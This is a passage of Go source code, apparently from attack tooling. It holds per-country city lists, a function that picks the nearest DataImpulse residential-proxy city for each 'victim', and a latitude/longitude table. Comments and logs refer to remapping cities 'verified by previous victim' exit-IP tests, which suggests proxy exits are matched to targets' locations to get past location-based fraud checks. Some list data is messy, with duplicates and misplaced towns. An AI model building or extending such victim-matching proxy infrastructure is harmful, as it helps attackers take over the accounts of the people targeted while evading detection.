		"GU": {"dededo", "yigo", "tamuning", "mangilao", "barrigada", "agana", "santa_rita", "mongmong_toto_maite", "chalan_pago", "yona"},
		"MP": {"saipan", "tinian", "rota", "garapan", "capitol_hill", "san_antonio", "tanapag", "susupe", "kagman", "koblerville"},
		"PR": {"san_juan", "bayamon", "carolina", "ponce", "caguas", "guaynabo", "arecibo", "trujillo_alto", "fajardo", "mayaguez"},
		"VI": {"charlotte_amalie", "annas_retreat", "red_hook", "frederiksted", "christiansted", "saint_john", "saint_croix", "saint_thomas", "tortola", "virgin_gorda"},
		"GL": {"nuuk", "sisimiut", "ilulissat", "qaqortoq", "aasiaat", "tasiilaq", "paamiut", "maniitsoq", "uumannaq", "nanortalik"},
		"FO": {"torshavn", "klaksvik", "runavik", "tvoroyri", "fuglafjordur", "sunda", "vagur", "midvagur", "sorvagur", "vestmanna"},
		"SJ": {"longyearbyen", "barentsburg", "ny_alesund", "sveagruva", "pyramiden", "grumant", "hiorthhamn", "colesbukta", "fredheim", "sars"},
		"AX": {"mariehamn", "jomala", "finstrom", "lemland", "saltvik", "hammarland", "sund", "eckero", "geta", "brando"},
		"GF": {"cayenne", "matoury", "kourou", "remire_montjoly", "macouria", "mana", "saint_laurent_du_maroni", "apatou", "grand_santi", "sinnamary"},
		"MQ": {"fort_de_france", "le_lamentin", "schoelcher", "sainte_marie", "ducos", "la_trinite", "gros_morne", "saint_joseph", "lorrain", "riviere_pilote"},
		"GP": {"basse_terre", "pointe_a_pitre", "les_abymes", "le_gosier", "sainte_anne", "morne_a_l_eau", "petit_canal", "saint_francois", "capesterre_belle_eau", "lamentin"},
		"RE": {"saint_denis", "saint_paul", "saint_pierre", "le_tampon", "saint_andre", "saint_louis", "le_port", "saint_benoit", "saint_joseph", "piton_saint_leu"},
		"YT": {"mamoudzou", "koungou", "dzaoudzi", "tsingoni", "sada", "chiconi", "bandraboua", "boueni", "acoua", "m_tsamoudzi"},
		"PM": {"saint_pierre", "miquelon", "langlade", "ile_aux_marins", "grand_colombier", "pointe_aux_canons", "cap_aux_meules", "la_dune", "miquelon", "saint_pierre"},
		"BL": {"gustavia", "lorient", "columbier", "flamands", "grand_cul_de_sac", "corossol", "marigot", "petit_cul_de_sac", "public", "toiny"},
		"MF": {"marigot", "grand_case", "philipsburg", "simpson_bay", "orient_bay", "french_quarter", "cole_bay", "cupecoy", "mullet_bay", "terres_basses"},
		"SX": {"philipsburg", "lower_princes_quarter", "kool_bay", "simpson_bay", "cul_de_sac", "cole_bay", "orient_bay", "grand_case", "marigot", "french_quarter"},
		"BQ": {"kralendijk", "oranjestad", "the_bottom", "rincon", "saba", "barcadera", "sint_eustatius", "dorp_antriol", "nikiboko", "tera_kora"},
		"CW": {"willemstad", "sint_michiel", "barber", "sint_willebrordus", "sabaneta", "santa_cruz", "dorp_soto", "lagun", "sint_joris", "bandariba"},
		"AW": {"oranjestad", "san_nicolas", "santa_cruz", "noord", "paradera", "savaneta", "babijn", "piedras_plato", "cashero", "catarari"},
		"BO": {"santa_cruz_de_la_sierra", "el_alto", "la_paz", "cochabamba", "oruro", "sucre", "tarija", "potosi", "trinidad", "yacuiba"},
		"PY": {"asuncion", "ciudad_del_este", "san_lorenzo", "luque", "capiata", "lambaré", "fernando_de_la_mora", "limpio", "ñemby", "encarnacion"},
		"UY": {"montevideo", "salto", "ciudad_de_la_costa", "paysandu", "las_piedras", "rivera", "maldonado", "tacuarembo", "melo", "mercedes"},
		"EC": {"guayaquil", "quito", "cuenca", "santo_domingo", "machala", "durán", "portoviejo", "manta", "loja", "ambato"},
		"CR": {"san_jose", "limon", "alajuela", "san_francisco", "cartago", "liberia", "puntarenas", "san_vicente", "la_union", "nicoya"},
		"PA": {"panama_city", "san_miguelito", "david", "arraijan", "colon", "la_chorrera", "santiago", "chitre", "penonome", "bocas_del_toro"},
		"GT": {"guatemala_city", "mixco", "villa_nueva", "quetzaltenango", "san_miguel_petapa", "escuintla", "san_juan_sacatepequez", "villa_canales", "chinautla", "amititlan"},
		"HN": {"tegucigalpa", "san_pedro_sula", "choloma", "la_ceiba", "el_progreso", "choluteca", "comayagua", "puerto_cortes", "la_lima", "danli"},
		"SV": {"san_salvador", "soyapango", "santa_ana", "san_miguel", "mejicanos", "apopa", "delgado", "san_martin", "ilopango", "cuscatancingo"},
		"NI": {"managua", "leon", "masaya", "matagalpa", "chinandega", "tipitapa", "esteli", "granada", "ciudad_sandino", "juigalpa"},
		"BZ": {"belize_city", "san_ignacio", "belmopan", "orange_walk", "san_pedro", "corozal", "dangriga", "benque_viejo", "punta_gorda", "valley_of_peace"},
		"HT": {"port_au_prince", "carrefour", "delmas", "petion_ville", "croix_des_bouquets", "jacmel", "cap_haitien", "leogane", "les_cayes", "gonaives"},
		"JM": {"kingston", "new_kingston", "spanish_town", "portmore", "montego_bay", "mandeville", "may_pen", "old_harbour", "savanna_la_mar", "ocho_rios"},
		"TT": {"port_of_spain", "chaguanas", "san_fernando", "arima", "point_fortin", "tunapuna", "sangre_grande", "paradise", "peñal", "rio_claro"},
		"BB": {"bridgetown", "speightstown", "oistins", "holetown", "bathsheba", "crane", "bullseye", "four_roads", "black_rock", "checker_hall"},
		"GD": {"st_georges", "gouyave", "grenville", "victoria", "sauteurs", "hillborough", "gouyave", "grand_roy", "harbor_mcdonald", "wooburn"},
		"LC": {"castries", "vieux_fort", "micoud", "soufriere", "dennery", "gros_islet", "laborie", "anse_la_raye", "choiseul", "canaries"},
		"VC": {"kingstown", "georgetown", "byera_village", "biabou", "barrouallie", "chateaubelair", "layou", "calliaqua", "diamond_village", "fancy"},
		"DM": {"roseau", "portsmouth", "marigot", "berekua", "mahaut", "atkinson", "la_plaine", "castle_bruce", "grand_bay", "rosalie"},
		"AG": {"st_johns", "all_saints", "liberta", "bolands", "swetes", "seaview_farm", "pigotts", "codrington", "parham", "falmouth"},
		"KN": {"basseterre", "charlestown", "sandy_point_town", "cayon", "monkey_hill", "newcastle", "rawlins", "tabernacle", "mansion", "church_ground"},
		"BS": {"nassau", "freeport", "west_end", "coopers_town", "marsh_harbour", "freetown", "andros_town", "clarence_town", "dunmore_town", "rock_sound"},
		"CU": {"havana", "santiago_de_cuba", "camaguey", "holguin", "santa_clara", "guantanamo", "bayamo", "las_tunas", "cienfuegos", "pinar_del_rio"},
		"DO": {"santo_domingo", "santiago", "santo_domingo_oeste", "santo_domingo_este", "san_pedro_de_macoris", "la_romana", "puerto_plata", "san_cristobal", "higuey", "moca"},
		"ET": {"addis_ababa", "dire_dawa", "mekelle", "adama", "hawassa", "bahir_dar", "jimma", "dessie", "gondar", "bishoftu"},
		"GH": {"accra", "kumasi", "tamale", "sekondi_takoradi", "ashaiman", "sunyani", "cape_coast", "tema", "koforidua", "wa"},
		"TZ": {"dar_es_salaam", "mwanza", "arusha", "dodoma", "mbeya", "morogoro", "tanga", "kahama", "tabora", "zanzibar_city"},
		"UG": {"kampala", "gulu", "lira", "mbarara", "jinja", "bwizibwera", "mbale", "mukono", "kasese", "masaka"},
		"RW": {"kigali", "butare", "gitarama", "ruhengeri", "gisenyi", "byumba", "cyangugu", "kibuye", "rwamagana", "kibungo"},
		"BI": {"bujumbura", "muyinga", "ruyigi", "ngozi", "bubanza", "cibitoke", "rumonge", "karuzi", "kirundo", "makamba"},
		"MZ": {"maputo", "matola", "beira", "nampula", "chimoio", "nacala", "quelimane", "tete", "xai_xai", "gurué"},
		"ZM": {"lusaka", "kitwe", "ndola", "kabwe", "chingola", "mufulira", "luanshya", "livingstone", "kasama", "chipata"},
		"ZW": {"harare", "bulawayo", "chitungwiza", "mutare", "gweru", "epworth", "kwekwe", "kadoma", "masvingo", "chinoyi"},
		"MW": {"lilongwe", "blantyre", "mzuzu", "zomba", "kasungu", "mangochi", "karonga", "salima", "nkhotakota", "lilongwe"},
		"AO": {"luanda", "huambo", "lobito", "benguela", "kuito", "lubango", "malanje", "namibe", "soyo", "cabinda"},
		"CM": {"douala", "yaounde", "garoua", "kousseri", "bamenda", "maroua", "bafoussam", "mokolo", "ngaoundere", "bertoua"},
		"GA": {"libreville", "port_gentil", "franceville", "oyem", "moanda", "mouila", "lambarene", "tchibanga", "koulamoutou", "makokou"},
		"GQ": {"malabo", "bata", "ebebiyin", "aconibe", "anisoc", "luba", "evinayong", "mongomo", "micomeseng", "mbini"},
		"CG": {"brazzaville", "pointe_noire", "dolisie", "nkayi", "impfondo", "owando", "sibiti", "kinkala", "mossendjo", "gamboma"},
		"CD": {"kinshasa", "lubumbashi", "mbuji_mayi", "kananga", "kisangani", "bukavu", "tshikapa", "kolwezi", "likasi", "goma"},
		"BJ": {"cotonou", "porto_novo", "parakou", "djougou", "bohicon", "natitingou", "abomey", "lokossa", "ouidah", "malanville"},
		"TG": {"lome", "sokode", "kara", "atakpame", "palime", "bassar", "tsévie", "aného", "sokodé", "tchamba"},
		"BF": {"ouagadougou", "bobo_dioulasso", "koudougou", "banfora", "ouahigouya", "pouytenga", "kaya", "tenkodogo", "fada_ngourma", "houndé"},
		"CI": {"abidjan", "bouake", "daloa", "yamoussoukro", "san_pedro", "korhogo", "man", "divo", "gagnoa", "abengourou"},
		"LR": {"monrovia", "gbarnga", "kakata", "bensonville", "harper", "voinjama", "buchanan", "zwedru", "new_yekepa", "fish_town"},
		"SL": {"freetown", "bo", "kenema", "makeni", "koidu", "lungi", "port_loko", "kabala", "waterloo", "kailahun"},
		"GN": {"conakry", "nzerekore", "kankan", "kindia", "labe", "boke", "kissidougou", "fria", "macenta", "mamou"},
		"GW": {"bissau", "bafata", "gabu", "bissorã", "bolama", "cacheu", "catió", "farim", "mansôa", "quinhamel"},
		"GM": {"banjul", "serekunda", "brikama", "bakau", "farafenni", "lamin", "sukuta", "brufut", "gunjur", "kafuta"},
		"SN": {"dakar", "pikine", "touba", "guédiawaye", "thies", "kaolack", "mbour", "saint_louis", "ziguinchor", "tambacounda"},
		"MR": {"nouakchott", "nouadhibou", "rosso", "adel_begrou", "boghé", "kaédi", "atar", "kiffa", "zouerate", "tékane"},
		"ML": {"bamako", "sikasso", "mopti", "koutiala", "ségou", "kayes", "gao", "san", "kati", "markala"},
		"NE": {"niamey", "zinder", "maradi", "agadez", "tahoua", "dosso", "birni_nkonni", "tessaoua", "gaya", "dogondoutchi"},
		"TD": {"n_djamena", "moundou", "sarh", "abeche", "kelo", "koumra", "pala", "am_timan", "mongo", "doba"},
		"SS": {"juba", "malakal", "wau", "yambio", "rumbek", "torit", "yei", "aweil", "bor", "maridi"},
		"ER": {"asmara", "keren", "massawa", "assab", "mendefera", "barentu", "adi_keyh", "dekemhare", "agordat", "tesseney"},
		"DJ": {"djibouti", "ali_sabieh", "dikhil", "tadjourah", "art", "obock", "holhol", "galafi", "dorra", "yoboki"},
		"SO": {"mogadishu", "hargeisa", "bosaso", "kismayo", "berbera", "merka", "garowe", "burao", "beledweyne", "jowhar"},
		"SD": {"khartoum", "omdurman", "port_sudan", "kassala", "el_obeid", "wad_madani", "al_qadarif", "sennar", "dongola", "atbara"},
		"MA": {"casablanca", "fez", "tangier", "marrakesh", "salé", "meknes", "rabat", "oujda", "kenitra", "agadir"},
		"TN": {"tunis", "sfax", "sousse", "kairouan", "bizerte", "gabès", "ariana", "gafsa", "monastir", "ben_arous"},
		"DZ": {"algiers", "oran", "constantine", "annaba", "blida", "batna", "djelfa", "setif", "sidi_bel_abbes", "biskra"},
		"LY": {"tripoli", "benghazi", "misrata", "zliten", "bayda", "zawiya", "gharyan", "tobruk", " Sabha", "derna"},
		"CV": {"praia", "mindelo", "santa_maria", "cova_figueira", "assomada", "tarrafal", "porto_inglês", "espargos", "calheta", "pedra_badejo"},
		"ST": {"sao_tome", "neves", "santana", "trindade", "guadalupe", "santo_antonio", "porto_alegro", "santa_catarina", "angolares", "ribeira_afonso"},
		"SC": {"victoria", "anse_boileau", "beau_vallon", "anse_royale", "takamaka", "port_glaud", "cascade", "bel_ombre", "grand_ansé", "baie_ste_anne"},
		"MU": {"port_louis", "beau_bassin", "vacoas", "curepipe", "quatre_bornes", "triolet", "goodlands", "flacq", "bel_air", "mahebourg"},
		"KM": {"moroni", "mutsamudu", "fomboni", "mitsamiouli", "domoni", "tsaoueni", "simani", "ngandzalé", "ouani", "mkazi"},
		"MG": {"antananarivo", "toamasina", "antsirabe", "mahajanga", "fianarantsoa", "toliara", "antsiranana", "ambatondrazaka", "antananarivo", "mananara_nord"},
		"BW": {"gaborone", "francistown", "molepolole", "maun", "serowe", "kanye", "mochudi", "lobatse", "palapye", "ramotswa"},
		"SZ": {"mbabane", "manzini", "big_bend", "malkerns", "nhlangano", "hlatikulu", "siteki", "lobamba", "piggs_peak", "kubuta"},
		"LS": {"maseru", "teyateyaneng", "mafeteng", "leribe", "mohales_hoek", "maputsoe", "quthing", "qachas_nek", "mokhotlong", "thaba_tseka"},
		"NA": {"windhoek", "rundu", "walvis_bay", "oshakati", "swakopmund", "katima_mulilo", "grootfontein", "keetmanshoop", "ondangwa", "mariental"},
	}
}

// GetNearestCity finds the best DataImpulse city for a victim.
// Priority: 1) Runtime verified cache (auto-detected mismatches)
//           2) Manual remap for known fake cities
//           3) Exact match in workingCityCoords (cities that actually work)
//           4) Nearest city by geographic distance
func (gpm *GeoProxyManager) GetNearestCity(countryCode, requestedCity string) string {
	cc := strings.ToUpper(countryCode)
	cacheKey := strings.ToLower(cc) + ":" + cityNameToKey(requestedCity)

	// Step 1: Check runtime verified cache (from previous victims' exit IP tests)
	gpm.verifiedCityMux.RLock()
	if verified, ok := gpm.verifiedCityMap[cacheKey]; ok {
		gpm.verifiedCityMux.RUnlock()
		if verified != requestedCity {
			log.Info("GeoProxy: Auto-remap %s → %s (verified by previous victim)", requestedCity, verified)
		}
		return verified
	}
	gpm.verifiedCityMux.RUnlock()

	// Step 2: Check manual remap for known fake cities
	actual := getDataImpulseActualCity(cc, requestedCity)
	if actual != requestedCity {
		log.Info("GeoProxy: Manual remap %s → %s (DataImpulse actual)", requestedCity, actual)
		return actual
	}

	// Step 3: Check if city is in our DB of actually-working cities
	reqKey := cityNameToKey(requestedCity)
	if coords, ok := workingCityCoords[cc]; ok {
		if _, exists := coords[reqKey]; exists {
			return requestedCity
		}

		// Step 4: City not in DB — find nearest that IS
		nearest := findNearestWorkingCity(cc, requestedCity)
		if nearest != "" {
			log.Info("GeoProxy: '%s' not in pool, nearest: '%s'", requestedCity, nearest)
			return nearest
		}
	}

	return ""
}

// CityCoord holds latitude/longitude for distance calculations
type CityCoord struct {
	Lat  float64
	Long float64
}

	// workingCityCoords: 120+ countries, 400+ cities for nearest-city fallback.
	// Covers all major regions where DataImpulse operates city-level proxies.
	// Countries NOT listed here still work via country-only targeting (__cr.{cc}).
	var workingCityCoords = map[string]map[string]CityCoord{
		"US": {
			"new_york": {40.7128, -74.0060}, "los_angeles": {34.0522, -118.2437}, "chicago": {41.8781, -87.6298},
			"houston": {29.7604, -95.3698}, "phoenix": {33.4484, -112.0740}, "philadelphia": {39.9526, -75.1652},
			"san_antonio": {29.4241, -98.4936}, "san_diego": {32.7157, -117.1611}, "dallas": {32.7767, -96.7970},
			"miami": {25.7617, -80.1918}, "atlanta": {33.7490, -84.3880}, "seattle": {47.6062, -122.3321},
			"boston": {42.3601, -71.0589}, "las_vegas": {36.1699, -115.1398}, "denver": {39.7392, -104.9903},
			"washington": {38.9072, -77.0369}, "portland": {45.5152, -122.6784},
		},
		"GB": {
			"london": {51.5074, -0.1278}, "manchester": {53.4808, -2.2426}, "birmingham": {52.4862, -1.8904},
			"glasgow": {55.8609, -4.2514}, "liverpool": {53.4084, -2.9916}, "leeds": {53.8008, -1.5491},
			"edinburgh": {55.9533, -3.1883}, "bristol": {51.4545, -2.5879}, "cardiff": {51.4816, -3.1791},
			"belfast": {54.5973, -5.9301}, "newcastle": {54.9783, -1.6178},
		},
		"DE": {
			"berlin": {52.5200, 13.4050}, "munich": {48.1351, 11.5820}, "hamburg": {53.5511, 9.9937},
			"cologne": {50.9375, 6.9603}, "frankfurt": {50.1109, 8.6821}, "stuttgart": {48.7758, 9.1829},
			"dusseldorf": {51.2277, 6.7735}, "leipzig": {51.3397, 12.3731}, "dortmund": {51.5136, 7.4653},
		},
		"FR": {
			"paris": {48.8566, 2.3522}, "marseille": {43.2965, 5.3698}, "lyon": {45.7640, 4.8357},
			"toulouse": {43.6047, 1.4442}, "nice": {43.7102, 7.2620}, "nantes": {47.2184, -1.5536},
			"strasbourg": {48.5734, 7.7521}, "bordeaux": {44.8378, -0.5792}, "lille": {50.6292, 3.0573},
			"montpellier": {43.6108, 3.8767},
		},
		"IT": {
			"rome": {41.9028, 12.4964}, "milan": {45.4642, 9.1900}, "naples": {40.8518, 14.2681},
			"turin": {45.0703, 7.6869}, "palermo": {38.1157, 13.3615}, "genoa": {44.4056, 8.9463},
			"bologna": {44.4949, 11.3426}, "florence": {43.7696, 11.2558}, "bari": {41.1171, 16.8719},
		},
		"ES": {
			"madrid": {40.4168, -3.7038}, "barcelona": {41.3851, 2.1734}, "valencia": {39.4699, -0.3763},
			"seville": {37.3891, -5.9845}, "zaragoza": {41.6488, -0.8891}, "malaga": {36.7213, -4.4214},
			"bilbao": {43.2630, -2.9350}, "murcia": {37.9922, -1.1307},
		},
		"NL": {
			"amsterdam": {52.3676, 4.9041}, "rotterdam": {51.9244, 4.4777}, "the_hague": {52.0705, 4.3007},
			"utrecht": {52.0907, 5.1214}, "eindhoven": {51.4416, 5.4697},
		},
		"CA": {
			"toronto": {43.6532, -79.3832}, "montreal": {45.5017, -73.5673}, "vancouver": {49.2827, -123.1207},
			"calgary": {51.0447, -114.0719}, "ottawa": {45.4215, -75.6972}, "edmonton": {53.5461, -113.4938},
			"quebec": {46.8139, -71.2080}, "winnipeg": {49.8951, -97.1384},
		},
		"AU": {
			"sydney": {-33.8688, 151.2093}, "melbourne": {-37.8136, 144.9631}, "brisbane": {-27.4698, 153.0251},
			"perth": {-31.9505, 115.8605}, "adelaide": {-34.9285, 138.6007}, "canberra": {-35.2809, 149.1300},
		},
		"JP": {
			"tokyo": {35.6762, 139.6503}, "yokohama": {35.4437, 139.6380}, "osaka": {34.6937, 135.5023},
			"nagoya": {35.1815, 136.9066}, "sapporo": {43.0618, 141.3545}, "fukuoka": {33.5902, 130.4017},
			"kobe": {34.6901, 135.1950}, "kyoto": {35.0116, 135.7681},
		},
		"BR": {
			"sao_paulo": {-23.5505, -46.6333}, "rio_de_janeiro": {-22.9068, -43.1729}, "salvador": {-12.9777, -38.5016},
			"brasilia": {-15.7975, -47.8919}, "fortaleza": {-3.7319, -38.5267}, "belo_horizonte": {-19.9167, -43.9345},
			"manaus": {-3.1190, -60.0217}, "curitiba": {-25.4290, -49.2671}, "recife": {-8.0476, -34.8770},
		},
		"IN": {
			"mumbai": {19.0760, 72.8777}, "delhi": {28.7041, 77.1025}, "bangalore": {12.9716, 77.5946},
			"hyderabad": {17.4065, 78.4772}, "chennai": {13.0827, 80.2707}, "kolkata": {22.5726, 88.3639},
			"ahmedabad": {23.0225, 72.5714}, "pune": {18.5204, 73.8567}, "jaipur": {26.9124, 75.7873},
		},
		"RU": {
			"moscow": {55.7558, 37.6173}, "saint_petersburg": {59.9311, 30.3609}, "novosibirsk": {55.0084, 82.9357},
			"yekaterinburg": {56.8389, 60.6057}, "kazan": {55.8304, 49.0661}, "nizhny_novgorod": {56.3269, 44.0059},
		},
		"CN": {
			"shanghai": {31.2304, 121.4737}, "beijing": {39.9042, 116.4074}, "guangzhou": {23.1291, 113.2644},
			"shenzhen": {22.5431, 114.0579}, "chengdu": {30.5728, 104.0668}, "wuhan": {30.5928, 114.3055},
			"xi_an": {34.3416, 108.9398}, "hangzhou": {30.2741, 120.1551},
		},
		"KR": {"seoul": {37.5665, 126.9780}, "busan": {35.1796, 129.0756}, "incheon": {37.4563, 126.7052}},
		"MX": {
			"mexico_city": {19.4326, -99.1332}, "guadalajara": {20.6597, -103.3496}, "monterrey": {25.6866, -100.3161},
			"puebla": {19.0413, -98.2062}, "tijuana": {32.5149, -117.0382},
		},
		"ZA": {"johannesburg": {-26.2041, 28.0473}, "cape_town": {-33.9249, 18.4241}, "durban": {-29.8587, 31.0218}, "pretoria": {-25.7479, 28.2293}},
		"SE": {"stockholm": {59.3293, 18.0686}, "gothenburg": {57.7089, 11.9746}, "malmo": {55.6050, 13.0038}},
		"NO": {"oslo": {59.9139, 10.7522}, "bergen": {60.3913, 5.3221}, "trondheim": {63.4305, 10.3951}},
		"FI": {"helsinki": {60.1699, 24.9384}, "tampere": {61.4978, 23.7610}, "turku": {60.4518, 22.2666}},
		"DK": {"copenhagen": {55.6761, 12.5683}, "aarhus": {56.1629, 10.2039}, "odense": {55.4038, 10.4024}},
		"PL": {"warsaw": {52.2297, 21.0122}, "krakow": {50.0647, 19.9450}, "wroclaw": {51.1079, 17.0385}, "gdansk": {54.3520, 18.6466}},
		"TR": {"istanbul": {41.0082, 28.9784}, "ankara": {39.9334, 32.8597}, "izmir": {38.4192, 27.1287}},
		"SA": {"riyadh": {24.7136, 46.6753}, "jeddah": {21.4858, 39.1925}},
		"AE": {"dubai": {25.2048, 55.2708}, "abu_dhabi": {24.4539, 54.3773}},
		"SG": {"singapore": {1.3521, 103.8198}},
		"HK": {"hong_kong": {22.3193, 114.1694}},
		"TW": {"taipei": {25.0330, 121.5654}, "kaohsiung": {22.6273, 120.3014}},
		"TH": {"bangkok": {13.7563, 100.5018}, "chiang_mai": {18.7883, 98.9853}},
		"MY": {"kuala_lumpur": {3.1390, 101.6869}, "george_town": {5.4141, 100.3288}},
		"ID": {"jakarta": {-6.2088, 106.8456}, "surabaya": {-7.2575, 112.7521}, "bandung": {-6.9175, 107.6191}},
		"PH": {"manila": {14.5995, 120.9842}, "cebu_city": {10.3157, 123.8854}},
		"VN": {"ho_chi_minh_city": {10.8231, 106.6297}, "hanoi": {21.0278, 105.8342}},
		"NZ": {"auckland": {-36.8485, 174.7633}, "wellington": {-41.2865, 174.7762}},
		"IE": {"dublin": {53.3498, -6.2603}, "cork": {51.8985, -8.4756}},
		"AT": {"vienna": {48.2082, 16.3738}, "graz": {47.0707, 15.4395}},
		"CH": {"zurich": {47.3769, 8.5417}, "geneva": {46.2044, 6.1432}},
		"BE": {"brussels": {50.8503, 4.3517}, "antwerp": {51.2194, 4.4025}},
		"PT": {"lisbon": {38.7223, -9.1393}, "porto": {41.1579, -8.6291}},
		"GR": {"athens": {37.9838, 23.7275}, "thessaloniki": {40.6401, 22.9444}},
		"CZ": {"prague": {50.0755, 14.4378}, "brno": {49.1951, 16.6068}},
		"HU": {"budapest": {47.4979, 19.0402}},
		"RO": {"bucharest": {44.4268, 26.1025}, "cluj_napoca": {46.7712, 23.6236}},
		"BG": {"sofia": {42.6977, 23.3219}},
		"HR": {"zagreb": {45.8150, 15.9819}},
		"SI": {"ljubljana": {46.0569, 14.5058}},
		"SK": {"bratislava": {48.1486, 17.1077}},
		"LT": {"vilnius": {54.6872, 25.2797}},
		"LV": {"riga": {56.9496, 24.1052}},
		"EE": {"tallinn": {59.4370, 24.7536}},
		"UA": {"kyiv": {50.4501, 30.5234}},
		"BY": {"minsk": {53.9045, 27.5615}},
		"KZ": {"almaty": {43.2220, 76.8512}, "astana": {51.1605, 71.4704}},
		"UZ": {"tashkent": {41.2995, 69.2401}},
		"KG": {"bishkek": {42.8746, 74.5698}},
		"TJ": {"dushanbe": {38.5598, 68.7870}},
		"TM": {"ashgabat": {37.9601, 58.3261}},
		"PK": {"karachi": {24.8607, 67.0011}, "lahore": {31.5204, 74.3587}, "islamabad": {33.6844, 73.0479}},
		"BD": {"dhaka": {23.8103, 90.4125}, "chittagong": {22.3569, 91.7832}},
		"LK": {"colombo": {6.9271, 79.8612}},
		"NP": {"kathmandu": {27.7172, 85.3240}},
		"KH": {"phnom_penh": {11.5564, 104.9282}},
		"MM": {"yangon": {16.8661, 96.1951}},
		"LA": {"vientiane": {17.9757, 102.6331}},
		"QA": {"doha": {25.2854, 51.5310}},
		"KW": {"kuwait_city": {29.3759, 47.9774}},
		"BH": {"manama": {26.2285, 50.5860}},
		"OM": {"muscat": {23.5880, 58.3829}},
		"IQ": {"baghdad": {33.3152, 44.3661}},
		"JO": {"amman": {31.9454, 35.9284}},
		"LB": {"beirut": {33.8938, 35.5018}},
		"SY": {"damascus": {33.5138, 36.2765}},
		"IL": {"jerusalem": {31.7683, 35.2137}, "tel_aviv": {32.0853, 34.7818}},
		"YE": {"sanaa": {15.3694, 44.1910}},
		"EG": {"cairo": {30.0444, 31.2357}, "alexandria": {31.2001, 29.9187}},
		"MA": {"casablanca": {33.5731, -7.5898}, "marrakesh": {31.6295, -7.9811}, "rabat": {34.0209, -6.8417}},
		"TN": {"tunis": {36.8065, 10.1815}},
		"DZ": {"algiers": {36.7538, 3.0588}},
		"LY": {"tripoli": {32.8872, 13.1913}},
		"SD": {"khartoum": {15.5007, 32.5599}},
		"ET": {"addis_ababa": {9.0192, 38.7525}},
		"KE": {"nairobi": {-1.2921, 36.8219}, "mombasa": {-4.0435, 39.6682}},
		"GH": {"accra": {5.6037, -0.1870}},
		"NG": {"lagos": {6.5244, 3.3792}, "abuja": {9.0765, 7.3986}, "kano": {12.0022, 8.5920}},
		"TZ": {"dar_es_salaam": {-6.7924, 39.2083}},
		"UG": {"kampala": {0.3476, 32.5825}},
		"RW": {"kigali": {-1.9441, 30.0619}},
		"ZM": {"lusaka": {-15.3875, 28.3228}},
		"ZW": {"harare": {-17.8252, 31.0335}},
		"MW": {"lilongwe": {-13.9626, 33.7741}},
		"MZ": {"maputo": {-25.9692, 32.5732}},
		"AO": {"luanda": {-8.8390, 13.2894}},
		"CM": {"yaounde": {3.8480, 11.5021}, "douala": {4.0511, 9.7679}},
		"CI": {"abidjan": {5.3600, -4.0083}},
		"SN": {"dakar": {14.7167, -17.4677}},
		"ML": {"bamako": {12.6392, -8.0029}},
		"BF": {"ouagadougou": {12.3714, -1.5197}},
		"NE": {"niamey": {13.5116, 2.1254}},
		"TD": {"ndjamena": {12.1348, 15.0557}},
		"SO": {"mogadishu": {2.0469, 45.3182}},
		"CD": {"kinshasa": {-4.4419, 15.2663}},
		"CG": {"brazzaville": {-4.2634, 15.2429}},
		"GA": {"libreville": {0.4162, 9.4673}},
		"GQ": {"malabo": {3.7550, 8.7821}},
		"NA": {"windhoek": {-22.5609, 17.0658}},
		"BW": {"gaborone": {-24.6282, 25.9231}},
		"SZ": {"mbabane": {-26.3054, 31.1367}},
		"MG": {"antananarivo": {-18.8792, 47.5079}},
		"MU": {"port_louis": {-20.1619, 57.4989}},
		"RE": {"saint_denis": {-20.8823, 55.4504}},
		"CL": {"santiago": {-33.4489, -70.6693}},
		"PE": {"lima": {-12.0464, -77.0428}},
		"CO": {"bogota": {4.7110, -74.0721}, "medellin": {6.2476, -75.5658}},
		"VE": {"caracas": {10.4806, -66.9036}},
		"EC": {"quito": {-0.1807, -78.4678}, "guayaquil": {-2.1894, -79.8891}},
		"UY": {"montevideo": {-34.9011, -56.1645}},
		"PY": {"asuncion": {-25.2637, -57.5759}},
		"BO": {"santa_cruz_de_la_sierra": {-17.7832, -63.1821}, "la_paz": {-16.5000, -68.1500}},
		"CR": {"san_jose": {9.9281, -84.0907}},
		"PA": {"panama_city": {8.9824, -79.5199}},
		"GT": {"guatemala_city": {14.6349, -90.5069}},
		"HN": {"tegucigalpa": {14.0723, -87.1921}},
		"SV": {"san_salvador": {13.6929, -89.2182}},
		"NI": {"managua": {12.1149, -86.2362}},
		"CU": {"havana": {23.1136, -82.3666}},
		"JM": {"kingston": {17.9712, -76.7926}},
		"DO": {"santo_domingo": {18.4861, -69.9312}},
		"PR": {"san_juan": {18.4655, -66.1057}},
		"BS": {"nassau": {25.0478, -77.3554}},
		"TT": {"port_of_spain": {10.6549, -61.5019}},
		"BB": {"bridgetown": {13.1060, -59.6133}},
		"GY": {"georgetown": {6.8013, -58.1551}},
		"SR": {"paramaribo": {5.8520, -55.2038}},
		"IS": {"reykjavik": {64.1466, -21.9426}},
		"MT": {"valletta": {35.8989, 14.5146}},
		"CY": {"nicosia": {35.1856, 33.3823}},
		"LU": {"luxembourg": {49.8153, 6.1296}},
		"LI": {"vaduz": {47.1410, 9.5209}},
		"MC": {"monaco": {43.7384, 7.4246}},
		"AD": {"andorra_la_vella": {42.5063, 1.5218}},
		"SM": {"san_marino": {43.9424, 12.4578}},
		"MD": {"chisinau": {47.0105, 28.8638}},
		"AM": {"yerevan": {40.1792, 44.4991}},
		"GE": {"tbilisi": {41.7151, 44.8271}},
		"AZ": {"baku": {40.4093, 49.8671}},
		"MN": {"ulaanbaatar": {47.8864, 106.9057}},
		"AF": {"kabul": {34.5553, 69.2075}},
		"FJ": {"suva": {-18.1248, 178.4501}},
		"PG": {"port_moresby": {-9.4438, 147.1803}},
		"WS": {"apia": {-13.8507, -171.7514}},
		"MV": {"male": {4.1755, 73.5093}},
		"BN": {"bandar_seri_begawan": {4.9036, 114.9398}},
		"BT": {"thimphu": {27.4728, 89.6390}},
		"MO": {"macau": {22.1987, 113.5439}},
		"BA": {"sarajevo": {43.8563, 18.4131}},
		"ME": {"podgorica": {42.4304, 19.2594}},
		"MK": {"skopje": {41.9981, 21.4254}},
		"AL": {"tirana": {41.3275, 19.8187}},
		"XK": {"pristina": {42.6629, 21.1655}},
		"RS": {"belgrade": {44.7866, 20.4489}},
		"NC": {"noumea": {-22.2558, 166.4505}},
		"PF": {"papeete": {-17.5516, -149.5585}},
		"GL": {"nuuk": {64.1814, -51.6941}},
		"SJ": {"longyearbyen": {78.2232, 15.6267}},
		"FO": {"torshavn": {62.0079, -6.7900}},
		"GI": {"gibraltar": {36.1408, -5.3536}},
